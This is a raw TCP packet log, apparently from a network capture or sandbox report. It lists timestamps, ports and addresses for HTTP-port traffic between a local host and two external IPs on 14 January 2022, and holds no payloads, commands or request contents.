Jan 14, 2022 02:04:21.150413036 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150433064 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150453091 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150469065 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150473118 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150494099 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150510073 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150515079 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150531054 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150538921 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150558949 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150578022 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150579929 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150599003 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150619030 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150620937 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150640011 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150659084 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150660038 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150680065 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150696993 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150700092 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150717974 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150729895 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150734901 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150768995 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.202754974 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202792883 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202812910 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202845097 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.202851057 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202874899 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202894926 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202903032 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.202919006 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202931881 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.202944994 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202966928 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.202986956 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.202987909 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203011990 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203031063 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203038931 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203052998 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203063965 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203074932 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203097105 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203116894 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203125000 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203139067 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203149080 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203162909 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203185081 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203205109 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203207016 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203227997 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203248024 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203248978 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203268051 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203289032 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203289986 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203315020 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203335047 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203337908 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203361034 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203377008 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203380108 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203404903 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203418016 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203428030 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203449011 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203469038 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203474998 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203490019 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203510046 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203510046 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203531027 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203550100 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203552008 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203573942 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203593016 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203596115 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203615904 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203633070 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203634977 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203655958 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203675032 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203675985 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203696012 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203713894 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203716040 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203737020 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203752041 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203756094 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203778028 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203793049 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203798056 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.203835011 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.203908920 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.246638060 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256071091 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256103992 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256129026 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256150961 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256171942 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256191969 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256212950 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256232977 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256246090 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256254911 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256269932 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256273031 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256279945 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256280899 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256295919 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256324053 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256324053 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256354094 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256371975 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256376028 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256397963 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256418943 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256419897 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256439924 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256458998 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256460905 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256484032 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256504059 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256522894 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256524086 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256550074 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256551027 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256572008 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256593943 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256597042 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256613970 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256634951 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256638050 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256656885 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256664991 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256680965 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256700993 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256720066 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256727934 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256742001 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256752014 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256763935 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256783962 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256804943 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256812096 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256828070 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256846905 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256850004 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256869078 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256889105 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256889105 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256911039 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256931067 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256931067 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256952047 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256968975 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.256972075 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.256994963 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.257013083 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.257016897 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.257038116 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.257057905 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.257059097 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.257098913 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.298640013 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.298670053 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.298758030 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309066057 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309097052 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309123039 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309144020 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309163094 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309182882 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309192896 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309205055 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309226990 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309237957 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309247971 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309271097 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309278011 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309293032 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309314013 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309329987 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309341908 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309357882 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309362888 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309386969 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309395075 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309408903 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309431076 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309432983 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309454918 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309473991 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309482098 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309494019 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309510946 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309514046 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309536934 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309556961 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309570074 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.309572935 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.309609890 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.310092926 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.362402916 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.571228027 CET	49761	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.621998072 CET	80	49761	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.622107983 CET	49761	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.622258902 CET	49761	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.622287989 CET	49761	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.672727108 CET	80	49761	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.703057051 CET	80	49761	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.703138113 CET	49761	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.703314066 CET	49761	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.753788948 CET	80	49761	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.762888908 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.813193083 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.813309908 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.813462019 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.813491106 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.863579035 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.889928102 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:22.890000105 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.890182018 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:22.940494061 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.007699013 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 02:04:23.026755095 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 02:04:23.029618025 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 02:04:23.029704094 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 02:04:23.048732042 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 02:04:23.048769951 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 02:04:23.113661051 CET	49764	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.164099932 CET	80	49764	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.164223909 CET	49764	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.164311886 CET	49764	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.164346933 CET	49764	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.215029955 CET	80	49764	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.231170893 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 02:04:23.244059086 CET	80	49764	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.244824886 CET	49764	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.245043039 CET	49764	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.295782089 CET	80	49764	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.321021080 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.371869087 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.374571085 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.374649048 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.374677896 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.425123930 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.453108072 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.453222990 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.453244925 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.489367962 CET	49766	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.504977942 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.540169954 CET	80	49766	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.540277958 CET	49766	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.540389061 CET	49766	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.540400028 CET	49766	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.590974092 CET	80	49766	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.622915983 CET	80	49766	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.623110056 CET	80	49766	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.623183012 CET	49766	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.623409986 CET	49766	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.661432981 CET	49768	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.674669027 CET	80	49766	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.711930990 CET	80	49768	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.712090015 CET	49768	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.712174892 CET	49768	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.712188959 CET	49768	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.762824059 CET	80	49768	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.762855053 CET	80	49768	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.792393923 CET	80	49768	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:23.792486906 CET	49768	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.792711973 CET	49768	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:23.843458891 CET	80	49768	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.266803026 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.316942930 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.317063093 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.317168951 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.377105951 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377140045 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377165079 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377203941 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.377327919 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377348900 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377374887 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.377675056 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377700090 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377720118 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377741098 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377765894 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.377778053 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.377842903 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.427685022 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427714109 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427727938 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427762985 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427783012 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427809000 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427809000 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.427829027 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427850008 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.427876949 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.427906990 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.428350925 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428373098 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428395987 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428416967 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428438902 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428461075 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428461075 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.428483009 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428503036 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428507090 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.428524017 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428553104 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428560019 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.428575039 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428596020 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.428653955 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.428662062 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478069067 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478105068 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478127956 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478195906 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478199005 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478221893 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478249073 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478272915 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478281975 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478293896 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478296041 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478318930 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478337049 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478342056 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478363991 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478375912 CET	49769	80	192.168.2.3	93.189.42.167
